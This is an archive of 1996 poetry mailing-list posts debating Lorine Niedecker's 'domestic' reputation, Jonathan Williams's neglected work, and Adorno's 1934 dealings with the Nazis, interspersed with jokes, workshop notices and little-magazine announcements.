Yes, this is charming. But I think the charm is in the novelty of it, the reverse-jolt of the category which we don't expect, necessarily, and, of course, the source. What the original post triggered for me is how remarkably expected the woman poet category/position is for some people. 'taint the same, but I do get a kick out of it -- thanks. Now for "best male"? Anyone?

Kathrine

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448. Christina Fairbank Chirot
Re: patr-iarchy/onization
Mon 16 Dec 1996

Re Cid Corman and Lorine Niedecker:

when Jenny Penberthy was here last June to give the first annual LN lecture at woodland Pattern--Penberthy played the one tape known to exist of LN reading--made by Cid Corman while on a visit with LN. (Penberthy pointed out that after LN's trip to NYC in the Thirties--writers came to Wisconsin to visit LN--) I don't think that Corman's living in Japan--as hinted at by some on this list--affected his judgement re LN--after all--he came from Japan to visit her . . .(Henry Miller used to point out the American fear that expatriates' minds had somehow become obscured or lost the sense of true judgement they'd have had if they'd only stayed at home . . . but blurbs seem to exist, when not bland and empty rhetoric, in a zone of their own and to disturb in some way--i'm still pissed at the blurbist for a record jacket who stated that The Standells were a Boston band! And not only that--but the greatest sixties Punk Band from that city . . ."I Love that dirty water" indeed . . .

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449. Peter Quartermain
Re: Granite Blurbs
Mon 16 Dec 1996

Let me second, vociferously, Ron's comments on Jonathan Williams -- he is (lie zillions of others) one of the most neglected national and even international treasures -- his prose as well as his poetry, his archeological works of retrieval as well as his energetic promotion of folk art. And of course his astonishing record as a publisher over the decades. At times he's too whimsical, at times too curmudgeonly perhaps, but a poet of great wit and amazing range -- a sharp eye and ear. And not just the earliest books.

He's also, like so many others on this list, having difficulties finding a publisher for his work.

Peter

At 02:58 PM 12/15/96 -0800, Ron SIlliman wrote:
about Jonathan Williams, it's worth noting, was one of the first poets (and especially
>first southern poets) to be aggressively and politically out of the
>closet. But there is a certain plantation tone to his anglophilia and
>it creeps into other discourses, as here.
>

>By the bye, if the younger folks on this list haven't read Williams
>work, the early books in particular are totally worth reading in their
>own right. I recall not "getting" the work of Clark Coolidge until
>Barrett Watten noted the sense of humor in it, which BW saw as the
>influence jointly of Whalen and Williams. And it's true.
>
>Ron Silliman
>
>

+ + + +

451. **Burt Kimmelman**
Re: patr-iarchy/onization
Mon 16 Dec 1996

Sorry Kathrine (and whoever it was who posted some of LN's poems to demonstrate how universal her work is and not necessarily gender- specific--my apologies for forgetting who it was at this moment), but whatever else LN has done (yes, those poems could have been written by either man or woman, do resonate with either man or woman), she has given us a singular and important view of a woman in a marriage in a particular time and place and socio-economic status. There is, I guess, more than one Niedecker. Now, that is just not true; there was only one Niedecker, but of course we can talk about different strands of her work. I hasten to say that the so-called by me "domestic" strand was not one shared by either Sappho of Lady Murasaki, to my knowledge, but then again the blurbist for Granite Pail had another strand in mind. I don't mean here to dispute you, Kathrine, or Judy; what you have both said is true. On the other hand, I would hope that you both are not precluding other important aspects of LN's work. Who would compare with the "domestic" LN? Dickinson?--No way. Moore, HD, Bishop, Howe, Hejinian? I don't think so.

Burt

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452. **k.a. hehir**
Re: Friday December 20, 1996 at 8 p. m.
Mon 16 Dec 1996

On Sun, 15 Dec 1996, Dorulet D Ana wrote:

> *Open Forum For The Arts*
>
> *Admission by invitation only>*
>
> *Open to all*

doesn't sound very open to me.
or is that a standing open invitation?

kevin

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453. Ian Wilson
Poetry Workshop
Mon 16 Dec 1996

Anyone in the Los Angeles area who might be interested in participating in a weekend poetry work, February 1 and 2, 1997 - our workshop leader is a Lannan Award winning poet.

Full details on backchannel.

Ian Wilson
[redacted]

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454. Eliza McGrand- CVA Guest
Re: Adorno and Mandel
Mon 16 Dec 1996

---

i hardly think it is fair to paraphrase tom mandel thusly:

"Tom Mandel may believe that while
reading someone we should be prepared to pick them out of a line-up and
look over their rap sheet but words are not that easy to jail."

his post never implied one ought to "jail" adorno's words, nor that one should pick him out of a line-up, whatever that is meant to say.

adorno wrote SPECIFICALLY ABOUT the holocaust, taking on an "i am a victim" pose, wrote attacking nazis from a righteous, my-hands-are- not-dirty" posture, wrote, again from my-hands-are-not-dirty, self- righteous, victimized posture about corrupt power.

what tom mandel points out, and rightfully so, is a terrible crack in this posture: adorno WAS a victimizer, he WAS a nazi and supported them, he turned against other jews, and he was extremely corrupt in his own use of power, or so mandel's examples (if they are backed up. i am not a great follower of adorno's work) make quite clear. this is horrifying from a personal point of view, interesting from an analytical, de-constructionist/sociological point of view. it is also an insult to to the victims.

mandel has NOT said, anywhere, that adorno's works should in any way be banned, hidden away, or otherwise "jailed."

e

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455. **William Slaughter**

Web Del Sol

Mon 16 Dec 1996

Mike Neff, who is the man behind Web Del Sol but who is not a member of this list, has asked me if it would be appropriate to post (through me) the following announcement to the list. I read it and didn't see why not, so here it is.

The URL is http://www.cais.net/aesir/fiction but don't be deceived by the "fiction" part of it. Notice what Mike has to say in his announcement about poetry. And there's more on his site than he's telling us here. I really do believe that it's worth checking out, and that the work Mike is doing will reward the time you spend at Web Del Sol.

I must confess that Mike has been kind to my own work. Web Del Sol features links both to Mudlark, the e-journal of poetry & poetics that I edit, and to Pleasure Boat Studio, which has just published my book, The Politics of My Heart. But that's not why I spend some of my time there.

Keep in mind that the following announcement is intended for general release. Mike didn't write it specifically for this list. Do give Web Del Sol a look. And let Mike hear from you.

William Slaughter

Web Del Sol

Locus of Literary Art on the Net

Web Del Sol, a growing literary arts complex on the WWW, offers a collaborative effort on the part of dozens of writers, editors, and publications to make contemporary writing not only accessible to the average person, but a provocative alternative to other forms of entertainment and enlightenment.

Web Del Sol showcases the best in American and international contemporary writing. Among the individual author websites hosted at Web Del Sol are those of Pulitzer Prize winner, Robert Olen Butler and renowned poet and Bollingen Prize winner, David Ignatow. Writers included are Erin Belieu, Khaled Mattawa, Michael Martone, Kristy Nielsen, Ben Marcus, Bradford Morrow, and Madison Smartt Bell, among others. Web Del Sol plays host to several literary publications, namely AGNI, The Literary Review, Conjunctions, The Prose Poem, The Dominion Review, and Zyzzyva, creating websites that give them a distinct presence on the WWW in order to promote the writers and poets they have discovered. Web Del Sol also highlights the best in new writing from the world's finest literary publications, among them Mississippi Review, Sycamore

Review, Atlantic Monthly, Cream City Review, Ploughshares,and Missouri Review.

Fiction types at Web Del Sol include literary, experimental, prose poem, historical, ethnic, satire, mainstream, and translations. The reader will find critical and challenging essays, a large collection of superlative poetry, interviews with established and emerging writers, and a literary sourceplex to aid in research. Pages on the website, featuring jazz and java, provide comprehensive links to a range of activities, news, art, hotspots, and literary sites which include the best online ezines such as Blue Moon Review, Eclectica, and In Vivo, as well as those print magazines which have recently gone online.

Web Del Sol,at http://www.cais.net/aesir/fiction, has no peer on the WWW when it comes to depth and variety of literary art. Attain a high level of consciousness here, wade head deep into catharsis and self-discovery, or else lose your grip to explore unique points of view on just about everything you can imagine revealed through the vision of some of the finest writers and poets on the planet. A short story or a poem here might provoke you, enlighten you, or even anger you, but don't worry, that's the whole idea. A hefty cache awaits.

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456. **aerialedge**
Re: Adorno and Mandel
Tue 17 Dec 1996

Eliza McGrand wrote:
>what tom mandel points out, and rightfully so, is a terrible crack in
>this posture: adorno WAS a victimizer, he WAS a nazi >and supported them,

Tom did not say Adorno was a Nazi.

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457. **Jeremy F Green**
Adorno marginalia
Tue 17 Dec 1996

Tom raises a number of very interesting questions in his post. Constraints of time and (grading-sapped) energy prevent me from taking them on (even if I had useful comments to hand). Instead, a couple of jottings on the question of the works and biography which are tangentially related to the issue of A.'s politics (and so perhaps to the Lukacs comparison).

I once asked a convinced "adornoboy" (Stephen Rodefer's coinage in a recent poem) if there was a biography of Adorno (in German, since there isn't one in English) and met with a strange response: there would be no point writing a

bio. of Adorno. After all, he went on, what would it say? During these years A. worked hard on the critique of phenomenology and the problem of the intellectual division of labor, etc., etc.? This didn't satisfy me at the time and it doesn't now (especially in light of the Muntzel review and 1966 letter). The other--no less unsatisfactory--position would be the one which uses biography to discredit the writings, the kind of approach practised by the British historian Paul Johnson in his book _Intellectuals_ (since this book may not have crossed the Atlantic--I hope not!--I should probably gloss the reference: Johnson dug up whatever sleaze he could to discredit any writer whose politics did not coincide with his own [rampant, raging, right-wing, it hardly needs saying]--thus, Brecht conducted multiple affairs and so is not worth reading; the general aim was to discredit the category of intellectual, I suppose).

As far as Adorno goes, one might ask why he was so determined to remain in Germany, even if it meant ingratiating himself with the Nazis. Part of it, no doubt, has to do with biographical contingency (the fact that he couldn't seem to establish himself in Oxford, where he was spending part of the time as one of Gilbert Ryle's 'advanced students' [!], and the fact that his fiancee Gretel Karplus was still living in Berlin--and no doubt more along the same lines); but part of it surely also has to do with his conception of politics and his faith in the overriding importance of European culture. The strategy of 'hibernation' sound uncomfortably like his conception of politics in his later philosophy, where--very roughly--the work of art becomes the repository for the utopian glimmers extinguished from praxis.

Pessimism? Yes, certainly. Does he identify himself with the "right position"? I guess the defence here might be that his texts dialectically refuse the 'philosophical' standpoint (part of the burden of the essay on Beckett's _Endgame_, perhaps), and this is where the modernist artwork steps in, embodying what it is beyond the power of philosophical discourse to state. Those moments where the pessimism seems peculiarly the promise of redemption (like the last section in _Minima Moralia_) do resonate with Benjamin in significant ways.

I'd better stop now--all systems flagging (but not before wierd Adorno fact of the day: A. once wrote an opera based on _Tom Sawyer_....could there be more of a mismatch?)

Good night all

Jeremy

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458. Tenney Nathanson
Jonathan Williams
Tue 17 Dec 1996

---

check out "Excavations from the Case Histories of Havelock Ellis"!!

↑ Index

459. George Bowering
Re: patr-iarchy/onization
Tue 17 Dec 1996

Have a look at the blurb on the back of the Sun & Moon edition of Djuna Barnes's _Interviews_

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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460. Pierre Joris
Colonel Williams, Chopin & Ubu
Tue 17 Dec 1996

Let me endorse the two poetas recently mentioned here:

Jonathan Williams whose _Blues & Roots/Rue & Bluets_, _The Loco Logodaedalist in Situ_, and _Mahler_ ((& maybe one can still come across his Selected _An Ear in Bartrams' Tree_ in second-hand shops)) taught me -- "by ear/ he said" as Olson has it but though the latter doesn't necessarily do as well as Colonel Williams and Blackburn with that specific organ -- much about American poetry when I first came over here. Just as neglected and invisible is his companion, the poet Thomas Meyer who has one of the finest lyric voices of my generation. BTW, if it hadn't been for those two Americans & their summer hangout in the Yorkshire dales, Basil Bunting's last years would have been much less pleasant & the general stock of singlemalt scotch much higher in that region.

& Henri Chopin is indeed one of the pioneers & masters of sound poetry. His OU magazine & books are wworth snapping up whenever you come across

them. But of course, catch him in performance: nothing human is strange for that man, his body & his mike.

BTW, West Coasters -- & thinking more especially of Kevin & Dodie in SF -- did any of you get to the Centennial of the First Public Performance of UBU ROI held in Justin Herman Plaza, Embarcadero, San Francisco Sunday, 8 December 1996. Some of us Ubuistas would love to hear.

Pierre

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

Reality is escape. The rusty junk
of fervent highways soothe the mind
into self-consoling slumber. The real
real is intimate, hard to find,
locked & released at once in thought,
beyond the touch of poignant imagery.

Robert Kelly ◆ Ode 16
==========

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461. **pollet**
Santa revisited
Tue 17 Dec 1996

Let's say for a moment there were a culture with two major mythical figures representing materialism. Both were easily recognizable because they wore red suits--not a common color for suits in that time and place. Both were associated with fire and fire-sources, and were frequently pictured wreathed in second-hand smoke. Both were described as excessively preoccupied with tallying good and evil deeds. One carried a pitchfork, one a whip, and get this, THE NAME OF EACH WAS AN ANAGRAM OF THE OTHER! I'm thinking of calling for a congressional investigation and the appointment of a special prosecutor. Any seconds? Solstice Greetings, Sylvester Pollet

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462. **Loss Glazier**
Re: Henri Chopin
Tue 17 Dec 1996

Many thanks to Ward for the info on Chopin. Such info is much appreciated! I've not found it easy to track down such recordings.

Along these lines, I might ask if anyone out there knows where I can get a copy of the CD of Futurist/etc. work. It was an anthology of some sort. Someone told me recently they just got it at a record store but I can't find any trace of it. Any ideas?

Feel free to backchannel me if that's more appropriate...

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463. **Dorulet D Ana**
Re: Friday December 20, 1996 at 8 p. m.
Tue 17 Dec 1996

Call and you will be invited;)

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464. **eric pape**
Re: Adorno and Mandel
Tue 17 Dec 1996

I don't think you could write about Adorno and the holocaust without making the point that, for A., the holocaust was, in some sense, the ultimate goal of Western rationalism. Of course, A. certainly considered himself deeply implicated in the traditions of high metaphysics and would thus be deeply implicated in Nazism. A little too nuanced, certainly, for many when confronted with more concrete evidence of culpability, but I don't think that anyone with even a passing familiarity of A. would argue that A. consideredhimself either victim or victimizer. Thanks, Eric.

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465. **Michael Boughn**
Re: Santa revisited
Tue 17 Dec 1996

WOW! Tell Ralph Reed. He'll take care of everything.

Mike
[redacted]

> *Let's say for a moment there were a culture with two major mythical figures representing materialism. Both were easily recognizable because they wore red suits--not a common color for suits in that time and place. Both were associated with fire and fire-sources, and were frequently pictured wreathed in second-hand smoke. Both were described as excessively preoccupied with tallying good and evil deeds. One carried a pitchfork, one a whip, and get this, THE NAME OF EACH WAS AN ANAGRAM OF THE OTHER!*
>
> *I'm thinking of calling for a congressional investigation and the appointment of a special prosecutor. Any seconds?*
>
> *Solstice Greetings, Sylvester Pollet*

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466. **Peter Landers**

Re: patr-iarchy/onization

Tue 17 Dec 1996

It was neither Kathrine nor Judy who posted the LN poem (not "poems") to the list. The poem was Lake Superior. How well do you really know Neidecker? And how well do you know Sappho. She was a mother, too! This so-called "domestic" thread; have you sought it in a male poet? Care to back up your socio-economic statement with an example or two?

I posted the poem, and I doubt there are many better poems written by anyone in this century. Let Lorine speak. Prove your theory with examples.

Pete Landers

>
> Sorry Kathrine (and whoever it was who posted some of LN's poems to
> demonstrate how universal her work is and not necessarily gender-
> specific--my apologies for forgetting who it was at this moment),
> but whatever else LN has done (yes, those poems could have been written
> by either man or woman, do resonate with either man or woman), she
> has given us a singular and important view of a woman in a marriage in
> a particular time and place and socio-economic status. There is, I
> guess, more than one Niedecker. Now, that is just not true; there was
> only one Niedecker, but of course we can talk about different strands
> of her work. I hasten to say that the so-called by me "domestic"
> strand was not one shared by either Sappho of Lady Murasaki, to my knowledge,
> but then again the blurbist for Granite Pail had another strand in mind.
> I don't mean here to dispute you, Kathrine, or Judy; what you have both
> said is true. On the other hand, I would hope that you both are not
> precluding other important aspects of LN's work.

> Who would compare with the "domestic" LN? Dickinson?--No way. Moore,
> HD, Bishop, Howe, Hejinian? I don't think so.
>
> Burt
>

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467. **Patrick Foley**
Re: Adorno marginalia
Tue 17 Dec 1996

> *The other--no less unsatisfactory--position would be the one which uses biography to discredit the writings, the kind of approach practised by the British historian Paul Johnson in his book _Intellectuals_ (since this book may not have crossed the Atlantic--I hope not! [...]*

Widely available here in paperback.

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468. **Patrick Foley**
Re: Granite Blurbs
Tue 17 Dec 1996

> *Let me second, vociferously, Ron's comments on Jonathan Williams -- he is (lie zillions of others) one of the most neglected national and even international treasures -- his prose as well as his poetry,*

Did Jonathan Williams write a book of prose called "Something Else" or something like that? I recall seeing a copy in my hometown used bookstore -- it looked interesting, but I had other priorities last time I was there -- and could pick it up over Christmas. Recommended?

↑ Index

469. **Matthias Regan**
Re: Adorno (the model so far) (& humanity, O, humanity!)
Tue 17 Dec 1996

At 07:29 PM 12/16/96 -0500, various people's contributions ended up giving us:
(Sorry in advance for the considerable length!)

>i hardly think it is fair to paraphrase tom mandel thusly:
>
>"Tom Mandel may believe that while
>reading someone we should be prepared to pick them out of a line-up and
>look over their rap sheet but words are not that easy to jail."

...
>adorno wrote SPECIFICALLY ABOUT the holocaust, taking on an "i am a
>victim" pose, wrote attacking nazis from a righteous, my-hands-are-
>not-dirty" posture, wrote, again from my-hands-are-not-dirty, self-
>righteous, victimized posture about corrupt power.
>
>what tom mandel points out, and rightfully so, is a terrible crack in
>this posture: adorno WAS a victimizer, he WAS a nazi and supported them,
>he turned against other jews, and he was extremely corrupt in his own
>use of power, ...

A little later in the discussion the response comes back: Adorno was not a Nazi. (Indeed, not!) I think some of this extremist rhetoric (calling A. a nazi) comes ultimately from the premise of the thread, which assumes that Adorno must be looked at as a sort of fixed entity. As though he were either pro-Nazi or a victim: not both. Not sometimes one, sometimes another. It seems like Tom Mandel is speaking out against such a decisive and unrealistic dichotomy when he writes:

> *There are no "works" that are not also "persons."*

Because this strikes me as remarkably similar to a premise Adorno (though I confess I haven't read much A. besides _Minima Moralia_ and _Dialectic o. t. Enlightenment_) more or less assumes, and that Benjamin and Brecht hold as integral to their critical work. You could almost say, I think, that one of Benjamin's major contributions to contemporary theory was that he reminds us (me at least) that "persons" rather than words, rather than concepts such as history, such as Marxism, are (or should be) the orgin and the end point of "works." Brecht also. And Bakhtin. They offered new "revolutionary" ways of expressing this point. They fought against strict structuralism and formalism, etc. while finding ways to at the same time to also avoid the paradigms those methods avoided.

T.M. goes on to say:

> *It is what Adorno did*
> *that we or someone should discuss -- not some 2d-order abstraction like*
> *what it "means" or its "place" in his work, but What He Did. And we*
> *should remember that this refers to 1934 and to 1964, to both.*

And it still appears that he is insisting that Adorno either be accepted (as a victim - ?) or condemned as "extremely corrupt in his own use of power," (in someone else's words.) How is he not both? How are we doing justice to any of these topics (Adorno, his "works", the holocaust even) if we do no allow ourselves to imagine that Adorno writing in 1934 was perhaps scared and willing to say what was necessary? He didn't know the future. And perhaps the

situation of 1934 informed his response 30 years later. He still didn't know his future. They are two entirely different claims to say a) that Adorno abused the authority of his "adopted" victimization because he was not genuinely a suffering saint or b), as I am suggesting, that he was perhaps terrified on the one hand, perhaps arrogant, ashamed on the other.

As I'm sure the above is dashed off too to make much sense: the dichotomy that has developed appears to be the result of removing unpredictable HUMAN motivation and action from the writings: and a reassertion of the fact that nothing written comes purely from history or from circumstace but also from _undeterminable_ humanity is integral to Adorno, Benjamin, Brecht. Because this humanity, unlike history, social circumstances, etc., is not empiricialy quantifiable, it is, IMO, far too often left out of the equation (exactly _because_ the equation model is a desired endpoint). In all the above theorists, as also in the theories of their late contemporary, Bakhtin, the insertion of this ungovernable, unknowable human element is usually swept behind various critical curtains with a shrug of the shoulders and the label "mysticism" or "religious". (I've often heard it say, for example, that Benjamin is great, but "mystical", or that Adorno or Bakhtin were fine Marxist critics but could somehow never shake that "religious edge" they peskily maintained.) I do not, of course, mean to say that such questions as Adorno's lacking recantation are not interesting, important, what have you. But they should not be used as markers of much broader judgements without the essentially unknowable quality of their orgins being pointed out every now and again.

Sorry for such ridiculous length.
(Not much doing (for once) at work today.)

best,

Matthias

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470. Christopher Alexander
Re: Henri Chopin
Tue 17 Dec 1996

---

loss glazier writen:
> Along these lines, I might ask if anyone out there knows where I can
> get a copy of the CD of Futurist/etc. work. It was an anthology of
> some sort. Someone told me recently they just got it at a record store
> but I can't find any trace of it. Any ideas?
>
> Feel free to backchannel me if that's more appropriate...
pls dont backchannel--d love to get my hands on this as well.

thanks. c.
..
christopher alexander, etc.
[redacted]

"The second edition of this book consists
largely of a reproduction of the first edition,
with additional theorms and examples."
--T.M. Macrobert, _an introduction to the
theory of infinite series_

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471. Chris Stroffolino
lesson plan/ sales pitch
Tue 17 Dec 1996

Hey Bill Wallace and Mark Luoma--I like binaries too--especially when someone
else sets the terms so I can mix them up (kinda like the normative brain)---
B says, "sales rhetoric is metaphorically based on seduction, so it has its
moments"---but too often in this land of money (where i come from feeling is
a crime...) it seems that seduction is BASED ON sales rhetoric....
anyway that's not what i am here to say.....
REAL CRITICS VS. REAL CHEESE....
and then those of "us" who are "torn between" the two
(like the Thracian singer by the tipsy bachannals)
feel guilty when writing one for not writing the other....
well that's like saying i feel guilty when i'm suicidal for
not being happy (and i may but that usually doesn't help)
or, on a lighter note, feeling guilty when i'm happy for
not being suicidal (don't know why i think it's a shame when
i get feeling better.). The first option (trying to figure out
why you're sad just leads to more sadness until something
she has no control over comes to rescue. A BIG IF) is
possible. But is the second? (feeling guilty for being happy)
I don't think so.....
Anyway, this of course has EVERYTHING to do with the
academic vs. "real artist" distinction.
The (I HATE THE WORD HYBRID but what the hell) academic/
artist may--in trying to participate in several dialogues--
be a very weird kind of inbalance. Yet probably no more than
any others (it takes a fast car baby to lead a triple life)
Like Gender (like realizing you don't like being, say, a male
and so you ENVY WOMEN and then you try to undo that envy

by remembering they are human too--or the glass ceiling or something)
So why do others "BETRAY" the real artist status bill speaks of to join
the academy. I--as you may know--RESISTED for years. But I ultimately felt
claustrophobic (isolated, hollow)
by the "poetry world"---
Tried the "avant-garde"--they wouldn't publish what I
thought was my most ambitious work.
Tried the mainstream--for pretty much the same reason.
IN BOTH A FEELING OF HAVING TO APPEAL TO SOMETHING LIKE
"MUSIC" as one in another field of specialization (politician)
might appeal to "MODERATES"--
Wanted to start "my own scene"--like so many others have
(though they probably won't admit it--for modesty or for
TQM reasons)--but found no patrons and my friends seemed
not to feel as strongly claustrophobic, unfulfilled in
working within the assumptions of any given scene--
or were able to keep decent paying jobs better than I
and so could start their own journals, etc.....
So, I went academic....hoping to be funded but Pataki....
(i digress). The point I really wanted to make was that
THE SPECIALIZED DIVISION BETWEEN ACADEMIC AND POETRY
scenes is something I'm very interested in straddling--
because I feel I FIT in neither as is--but if I can somehow
play them off each other (in my mind at least) and simply
not be disappointed by the lack of intensely verbal engage-
ment and argument and passion and personality in the poetry
scene because maybe i can find it among the shakespeareans
or in grading papers--
like one of my STUDENTS writing on STEVENS:
("Perhaps it is of more value to infuriate philosophers
than to go along with them," is very true because philo-
sophers love to argue. They just want to prove their
point to you as best they can)---
and so i go back and forth and can be refreshed enough to
try once again to bang my head against a brick wall I mean
ignite or be ignited by the poetry scene. This movement
may eventually allow something i crave and have not yet
really found (a "soulmate" for instance, or even a playmate..)
Yours in cloudiness and flipping, Chris

↑ Index

472. Henry Gould
Re: Santa revisited
Tue 17 Dec 1996

And lo, there was seeneth to the hyperborean Northeth a chariot all wroughteth all overeth in wood and iron. & I lifteth up mine eyth & my tongue were stopperth with awe and wonder, for behold in ye chariot wert a huge fat Giant who laugheth with his mouth & urgeth on hith reindeer with strong oaths. & I saideth unto her that stoodth beside me: Who? & she said unto me, 'Forsooth, what thou seeth is no demon but the verieth jolly Elf or Fellow who doth bringeth gifths unto yoonge people aaaaaaaaaaaallllllll oover yon pear-shaped globe.' & I look'd & behold the Figure had vanished over the horizon beyond Buffalo, NY. & then yo ho, it beganeth to snow right heavily.

The Gospel According to Bing, XII.25

↑ Index

473. Judy Roitman
Re: patr-iarchy/onization
Tue 17 Dec 1996

> *judy,*
>
> *who wrote the blurbs?*
>
> *burt*

And the second was Jonathan Williams, of which I was reminded by some poetics mail.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

474. tmandel
Andrew Klobucar's post
Tue 17 Dec 1996

Andrew Klobucar frames his response to my first post on Adorno's attempt to ingratiate himself with the Nazis in 1934 by writing a positive review of a song cycle to a suite of Fascist poems by Baldur von Shirach and quoting Goebbels approvingly therein as well as his attempt to excuse this behavior thirty years

hence by saying that he regretted it but it surely did not put him in a class with Heidegger (and the reader will notice that every time I post on this subject I repost more or less this same statement -- there's nothing here without it) by calling attention the "more politically liberal attitude" of Arendt versus Adorno's "Marxist aesthetics."

Huh?

He continues by approving (with reservations) Adorno's published critiques of Benjamin, suggesting that the content of these might be used to oppose my characterization of his bedeviling Benjamin in the correspondence as "trivial and pettifogging." You will remember that what I was discussing was the relationship of these two human beings and not Adorno's "more thoughtful, published statements," as Klobucar dubs the unrelated (to the issue at hand, though not in subject matter) writings.

Andrew Klobucar also dubs my mention of the review, etc. as "Mr. Mandel's allegations" -- but there is no allegation involved. No one denies the review or Adorno's authorship of it. No one denies its contents either. Surely (I desperately hope) no one denies the odiousness of these pieces of behavior.

Yet, AK's phrase may represent nothing more than sloppy language; email doesn't lend itself to precision of thought in every case. This may explain as well a statement of this nature: "...it is generally accepted among intellectuals today that many of Adorno's "personal" critiques of Benjamin's more ambitious philosophical interests seem hastily offered and somewhat immature in their reasoning." The thud of Mr. K's mind closing this or any case on such evidence made me laugh out loud reading his post.

Mr. Klobucar "merely stress(es) that one must be cautious before condemning all of Adorno's critique..." and I suppose that makes sense. It would make even more sense had I done any such thing! On the other hand, caution plays a small role in my character, too small a role some would say. Mr. K is not alone in his opinion, and there is no doubt the stricture applies in some manner or other.

Finally, "Adorno's insights into the cultural logic of bourgeois rationalism remain unique in their ability to contextualise some of the most important and influential developments in western modern thought....Perhaps, Mandel is not entirely aware that he is, in some ways, calling into question an entire cultural positioning."

Casting aside the rodomontade and excessive abstraction of the language ("insights [have] ability to contextualise") what seems to be said here is that Adorno "is" interpreting developments in Western thought (in Mr. K's mind, the author, like some machine in eternity, continues his analysis beyond his mortal end); my pointing out that he tried to ingratiate himself with the Nazis, etc.

might conceivably get in the way of this activity. At this point the laughter cited above slides, as laughter so often does, into tears. Andrew Klobucar, whatever are you talking about?

Tom Mandel

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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475. **tmandel**
Eliza McGrand on Adorno
Tue 17 Dec 1996

In what she says about my posts, Eliza McGrand is accurate. In her very well-put (wonderfully mixed, to my stiff back) metaphor of a "crack" in Adorno's "posture" she is again acute.

But, little tho I like the man I think it is inaccurate to call him a Nazi -- and partly I point this out *because* of my distaste for him. It would be easy enough to turn away this charge. Nor is it exactly accurate to say that he wrote as a victim; he wrote with a strongly implied (indeed a taken for granted) sense of solidarity with the victims of the holocaust. A solidarity he had *not* earned.

What if he had found favor in his attempt to ingratiate himself with the Nazis? What if (somehow) it had not become known that he was half Jewish? Might he then have become what EM calls him? The logic of counterfactual conditionals is notoriously complicated, and it doesn't get easier when you move from logic to social reality.

I wonder whether people want to know just how many people found it possible (and just how possible) to collaborate. Nor is there an inverse relation between this ease and the person's intelligence or even accomplishments. Heidegger is the obvious case. It is really not possible to look back at the history of philosophy without in some measure you are looking straight through his work. He utterly changed, for an obvious example, how we can see Greek philosophy. Moreover, what he has to say is immensely interesting too.

Gottfried Benn. In France, Drieu la Rochelle (strongly recommend, on a different tack, "Le feu follet" -- both the novel and the film by Louis Malle).

I find it very easy to see nihilism in Adorno's pessimism. I find it easy to imagine him embosomed in the German thirties -- but, that's just me, it's just

speculation, arguably idle speculation, possibly empirically disprovable speculation.

What is not speculative is what he did, and how he dealt with it. In this sense, yes, his review totally discredits his "no poetry after Auschwitz" epithet.

Another figure useful to compare with Adorno is Blanchot. How does one deal with that in one's past with which one no longer agrees? That in one's past which one must reject?

Tom Mandel

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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476. **steph4848**
Re: Domestic
Tue 17 Dec 1996

Isn't this word "domestic" loaded! I suspect - at least within one set of writing conventions - not to write with any focus on the "domestic" is a manly thing. He who does not do the dishes, change diapers, do childcare, clean house, etc. -- let alone finds it either cute or a taboo to mention or take seriously (or even comically) such activity in a poem -- is considered "manly." This writer is a person out in the public realm making/writing serious, publically responsible, perhaps "universal" literature. In this convention, the man, if not tended to at home by a she, views the interior domestic family life as, at best, quaint, and of no extended significance. She, one the other hand , who writes from within this purely domestic landscape makes a writing, no matter how well made, is making gender-specific work, or a poetry of secondary significance when compared to the more universal intentions of work that speaks to and from a public, definitely "non-domestic" realm. Within this convention, to ever have your work (whether you are male or female) identified as "domestic" is to be cast out, or consigned to permanent membership in a lesser cast.

I suspect this why people go up the wall when Lorine Niedecker - in any shape or form (blurbs included) - has her work as identified as "domestic."

I have no problem - as most on this list - saying that she is a great poet, certainly someone I return to frequently. I don't have difficulty - when it's actively there - taking great pleasure in her attention to what is "domestic" - nor do I have that problem with WCW, when he's "at home" as well.

What bothers me -- in terms of either the tone of dread or high mindedness of some of the critical responses to the Granite Pail "domestic" (good housewife?) blurbs -- is a willingness to throw the baby out with the bathwater. I'm not sure why there remains such an aversion to the domestic world as a vital element, if not a crucial component, to the entire picture. Perhaps with the exception of families of religious fundamentalists or families and writers into old domestic parodies, I think the antique writing convention I have described here is obviously bankrupt and on its way out. The contemporary world of domestic space - particularly in ways that it's been newly gendered and transformed by any number of factors is probably one of our best microcosims (sp?) and active receptacles for the most pressing issues in the public realm. Consequently - and I don't think I'm too alone on this - I find the domestic realm (such as that it has become) a lively and significant place from which to make writing.

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477. Roberto Tejada
MANDORLA
Tue 17 Dec 1996

Greetings to all from Mexico City. With the fifth issue of MANDORLA now at the printers, I thought I might take this opportunity to offer list members back issues #2, #3 and #4 at seven dollars per issue. MANDORLA 5 should be available at the end of January 1998 ($10). Please back-channel with your orders, or send checks made out to my name and to the address listed below.

The first issue of *MANDORLA: New Writing From the Americas* was published in May 1991 as an attempt to begin a meaningful dialogue that is bilingual﹪multilingual, in fact﹪but not in the conventional sense of the word. In English and Spanish translated material appears only in its surrogate tongue; previously unpublished work is featured only in its original language; and in the case of poetry in French or Portuguese, the work appears in its original, with translations into both Spanish and English. Other voices reading﹪or re-reading﹪each other's writing so as to authorize a body coherent with the intellectual and creative vitality of the hemisphere.

MANDORLA is edited and printed in Mexico City: a site where the cultural debate between north and south has begun to occur. In fact, the name of the magazine﹪mandorla, describing that space created by two intersecting circles﹪alludes to the notion of exchange and the imaginative dialogue that is an obligation now among the Americas. The terrain to be forged is like the American continent itself: virtually boundless.

Mandorla 1 [Out of Print] : Octavio Paz * William Carlos Williams * Calvert Casey * Alberto Ruy Sanchez * Eliseo Diego * Charles Olson * Nathaniel Tarn * Jack Spicer * Clayton Eshleman * Rachel Blau DuPlessis * Michael Palmer * Paul Christensen * Gerardo Deniz * Roberto Echavarren * Jose Kozer * Eliot Weinberger * Michael Tracy * Carmen Boullosa * Nathaniel Mackey * Alfonso D'Aquino * Jose Castro Lenero * Magali Tercero * Julio Hubard * Guillermo Osorno *

